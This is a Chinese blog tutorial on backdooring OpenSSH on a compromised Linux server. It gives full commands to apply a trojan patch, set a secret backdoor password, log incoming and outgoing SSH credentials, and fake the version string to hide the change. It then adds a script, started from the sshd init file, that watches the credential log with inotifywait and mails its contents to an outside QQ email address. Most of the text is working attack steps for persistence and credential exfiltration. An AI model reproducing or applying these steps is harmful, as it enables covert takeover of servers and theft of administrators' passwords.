自动劫持root密码并转发密码到邮箱

本文涉及的产品
运维安全中心(堡垒机),免费版 6个月
简介:

自动劫持root密码并转发密码到邮箱

 

一:实验内容

自动劫持root密码并转发密码到邮箱

 

二:劫持root密码的过程:

wKioL1gdT1GSJY83AACmCnG0QYc268.png 

过程1如上图所示。黑客登录到sshd服务系统之后会用木马补丁文件将原来的sshd服务替换掉,并且留下后门密码,此后门密码还可以直接登录系统。

wKioL1gdT16zap4iAAC7fhK-lp0590.png 

 

过程2网络管理员登录到系统之后,所登录的路径已经不是原来真实安全的路径了,是由黑客替换掉的sshd服务和路径。在此登录之后,管理员修改账号密码或者其他操作都会被记录下来,自动发给黑客指定的邮箱。

 

 

wKiom1gdT3XhRLXKAAECIc4NzAE895.png 

过程3有的时候时候网络管理员登录到sshd服务之后还会在此服务器下进行远程登录到其他服务器。在此后门文件中不仅仅会将网络管理员的账号密码给记录下来还会将管理员远程到其他服务器的张慧密码也给记录下来,这样就可以完成一箭双雕的意图了。

 

三:实验步骤

分析:想要劫持到root密码,那么首先就要可以登录到目标服务器上,就用到了之前暴力破解的方法了,获取其root密码,登录之后,进行偷梁换柱,留下后门。此服务器的管理员登录系统,所登录的进程是你所留下的后门进程。再此,管理员如果跟换密码,后门就会将跟换的密码以邮件的方式发给你。

 

上传0x06-openssh-5.9p1.patch.tar.gzopenssh-5.9p1.tar.gz /tmp目录

0x06-openssh-5.9p1.patch.tar.gz #就是木马文件

openssh-5.9p1.tar.gz #sshd服务的真实服务

------------------------------------------------------------------

查看ssh gcc 服务的版本与安装软件

1:查看版本

[root@yu63 tmp]# ssh -v #查看安装前ssh版本

OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

[root@yu63 tmp]# gcc -v #确认安装gcc

gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC)

分析:黑客在黑掉服务器之后,肯定是想要长久让此服务器成为他的“肉鸡”,因此就要做到隐蔽性,任何可能不不能给管理员发现,所以黑客登录系统之后会此案查看此服务器的版本与自己的木马服务器的版本是否想符合,不符合就要修改木马文件。

 

2解压文件

[root@yu63 tmp]# tar zxvf openssh-5.9p1.tar.gz

[root@yu63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

wKioL1gdT47SoqD3AAAZSVR_oAk539.png 

分析:openssh-5.9p1 是真实的sshd服务解压文件,openssh-5.9p1.patch sshd服务的补丁文件,此文件中包含木马文件,实验的思路就是将openssh-5.9p1.patch补丁木马文件替换openssh-5.9p1真实服务。

 

------------------------------------------------------------------

替换openssh-5.9p1

1安装openssh-5.9p1并打补丁:

[root@yu63 tmp]# cd openssh-5.9p1.patch/ #进入到木马文件

[root@yu63 openssh-5.9p1.patch]# cp sshbd5.9p1.diff ../openssh-5.9p1  #将木马补丁文件放进真实文件中[root@yu63 openssh-5.9p1.patch]# cd ../openssh-5.9p1 #进入到真实文件中

[root@yu63 openssh-5.9p1]# patch < sshbd5.9p1.diff #将拷贝过来的木马补丁文件进行执行,打补丁,

打补丁就是修改者替换原来的文件

patching file auth.c #认证  ---会将认证内容替换掉

patching file auth-pam.c #认证  ---会将认证内容替换掉

patching file auth-passwd.c #认证  ---会将认证内容替换掉

patching file canohost.c

patching file includes.h

patching file log.c

patching file servconf.c #关于sshd服务端  替换掉

patching file sshconnect2.c #关于sshd连接  替换掉

patching file sshlogin.c #关于登录,把root密码记录下来这里就是后门

patching file version.h #关于版本 替换版本信息

 

2修改后门密码和记录root密码的文件夹目录

[root@yu63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h

找到:

#define ILOG "/tmp/ilog" //劫持并记录登录到本机的用户名和密码

#define OLOG "/tmp/olog" //劫持并记录从本机登录到其他服务器上的用户名和密码

#define SECRETPW "apaajaboleh" //你后门密码

为:

#define ILOG "/usr/share/ifile"

#define OLOG "/usr/share/ofile"

#define SECRETPW "genal"

分析:后门密码指的是你留下的一个登录密码,即使管理员将登录密码修改了,你依然可以用后门密码来登录系统。

------------------------------------------------------------------

说明: 修改版本号

安装后的版本为:

[root@yu63 ~]# ssh -v

OpenSSH_5.8p1 Debian-1ubuntu3p1, OpenSSL 1.0.0-fips 29 Mar 2010

原来系统的版本:

[root@yu63 ~]# ssh -v

OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

 

为了使用安后的版本和原系统的版本一样,修改版本号:

[root@yu63 ~]# vim /tmp/openssh-5.9p1/version.h

改:

3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"

5 #define SSH_PORTABLE "p1"

:

#define SSH_VERSION " OpenSSH_5.3"

#define SSH_PORTABLE "p1"

------------------------------------------------------------------

对替换掉过来的木马软件进行安装

 

1:安装环境:

[root@yu63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel

 

2开始安装:

[root@yu63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 查看编译环境

--prefix=/usr #指定安装到/usr 目录下

--sysconfdir=/etc/ssh #指定sshd服务配置文件目录

--with-pam #指定支持pam认证

--with-kerberos5 #指定支持kerberos认证

 

3编译安装后门:

[root@yu63 openssh-5.9p1]# make -j 4 #编译

[root@yu63 openssh-5.9p1]# make install #安装

/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh #将之前的ssh命令换掉

/usr/bin/install -c -m 0755 -s scp /usr/bin/scp #将之前的scp命令换掉

........

rm -f /usr/bin/slogin #删除了之前的log

ln -s ./ssh /usr/bin/slogin

rm -f /usr/share/man/man1/slogin.1

ln -s ./ssh.1 /usr/share/man/man1/slogin.1

/etc/ssh/ssh_config already exists, install will not overwrite #对于之前的配置文件不进行改变

/etc/ssh/sshd_config already exists, install will not overwrite  #对于之前的配置文件不进行改变

........

 

4重启ssh

[root@yu63 openssh-5.9p1]# service sshd restart

 

注:这里用木马文件中的sshd相关文件替换掉sshd的真实服务。

------------------------------------------------------------------

测试

 

测试1:远程连接

 

1)测试前,先查看一下:/usr/share/ifile

[root@yu63 ~]# ls /usr/share/ifile

ls: cannot access /usr/share/ifile: No such file or directory #在没有远程登录系统的时候是没有记录的

 

 

2使用yu64客户端远程登录yu63

wKiom1gdT5_w1AfmAAAOIY8H8AM884.png 

3再次查看:

wKioL1gdT6ng-GMKAAAH_uoRQbY158.png 

 

测试2修改root密码:

1)修改root密码

root@yu63 ~]# passwd

Changing password for user root.

New password: 456789

 

2)远程连接yu63

wKiom1gdT7PyPYRpAAAOIY8H8AM746.png 

2)查看

wKiom1gdT72CkznNAAAKzqvF_BY192.png 

 

测试3:当忘记劫持到的密码时,使用后门密码来登录系统

另外我们也可以使用后门密码来登录root帐号:

wKioL1gdT8qTFFkEAAAOH-2RV-E685.png查看:

[root@yu63 tmp]# cat /tmp/ofile 

user:password@host --> root: genal@192.168.1.63

 

------------------------------------------------------------------

自动发送邮件:这里以QQsmtp服务器为例

分析:黑客为了时刻掌握“肉鸡”账户密码信息,会在这里编写一个邮件配置,会将记录的信息自动发发给黑客指定的邮件账户中,这样即使管理员修改掉密码或者账户信息,黑客都会即使的收到管理员所修改的账户和密码信息。

 

1Linux下通过外部SMTP发邮件

[root@yu63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:

set from=1273815479@qq.com smtp=smtp.qq.com

set smtp-auth-user=1273815479 smtp-auth-password=******** smtp-auth=login

注:

set from=1273815479@qq.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。

set smtp-auth-user=1273815479 #写自己发件人的邮箱帐号

smtp-auth-password=********#写自己发件人的邮箱密码

 

2配置QQ邮箱,开启pop3/smtp服务

 

 

wKioL1gdT-SBEQmmAABZE26dD64111.png

wKiom1gdT-WioVw-AABoWOV_67g678.png

 

测试:

[root@yu63 ~]# mail -s "demo title" 815479@qq.com < /usr/share/ifile

#将劫持的文件发到我的邮箱中

wKiom1gdT_HCT3mMAAAfriUW2x0091.png 

------------------------------------------------------------------

实现自动将劫持密码发送到邮箱

 

 

1安装inotify

[root@yu63 ~]# tar -zxvf inotify-tools-3.13.tar.gz

[root@yu63 ~]# cd inotify-tools-3.13

[root@yu63 inotify-tools-3.13]# ./configure检查安装环境

[root@yu63 inotify-tools-3.13]# make -j 4#make编译,将源代码编译成二进制,可执行的文件

[root@yu63 inotify-tools-3.13]# make install  # 安装

 

2编写触发式自动发邮件脚本

[root@yu63 ~]# cat /bin/zipmail

#!/bin/bash

/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile | while read a b c

do

ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`

mail -s $ip 3544884942@qq.com < /usr/share/ifile

done

 

3设置开机启动zipmail脚本: 

[root@yu63 ~]# vim /etc/init.d/sshd #在此文件的最后“exit $RETVAL” 前插入:

/bin/zipmail &

exit $RETVAL

[root@yu63 ~]# echo aaaaa  < /usr/share/ifile

 

测试:

[root@yu63 ~]# service sshd restart 

wKioL1gdUALREWa2AABPXaGPzFc374.png










本文转自 于学康 51CTO博客,原文链接:http://blog.51cto.com/blxueyuan/1869718,如需转载请自行联系原作者

目录
相关文章
【其他】邮箱的IMAP/SMTP服务开启与关闭(实现邮箱发送验证码的前提)
【其他】邮箱的IMAP/SMTP服务开启与关闭(实现邮箱发送验证码的前提)
2008 0
【其他】邮箱的IMAP/SMTP服务开启与关闭(实现邮箱发送验证码的前提)
|
2月前
|
安全 Shell Linux
如何禁止某个用户使用ssh登录
本文介绍了五种禁止用户通过SSH登录的方法:1) 修改`/etc/ssh/sshd_config`文件中的`DenyUsers`和`DenyGroups`来阻止特定用户或用户组登录;2) 将用户的默认shell设置为`/usr/sbin/nologin`或`/bin/false`以禁用其SSH访问;3) 利用PAM(可插入认证模块)通过编辑`/etc/security/sshd.conf`来限制登录权限;4) 通过编辑`/etc/hosts.deny`文件拒绝特定用户的SSH访问;5) 锁定或禁用用户账号以阻止所有类型的登录。每种方法都提供了详细的步骤指导。
128 1
|
4月前
|
安全 Linux Shell
SSH服务器拒绝密码登录的解决方法
SSH服务器拒绝密码登录的解决方法
884 1
|
5月前
|
数据安全/隐私保护 Windows
配置用户通过Telnet登录设备认证
配置用户通过Telnet登录设备认证
|
网络协议 安全 网络安全
使用SSH登录防火墙,显示登陆超时,登陆界面死活没反应!怎么破?
使用SSH登录防火墙,显示登陆超时,登陆界面死活没反应!怎么破?
316 0
|
数据库 数据安全/隐私保护
阿里云虚拟主机:怎么查看FTP帐号、密码、IP?怎么查看数据库账号、地址和密码等?
本文介绍阿里云虚拟主机:怎么查看FTP帐号、密码、IP?怎么查看数据库账号、地址和密码等?购买前请先:领取阿里云幸运券,有很多优惠,下文中有领取链接。 购买建议多买几年,年数越多优惠越多。
11541 0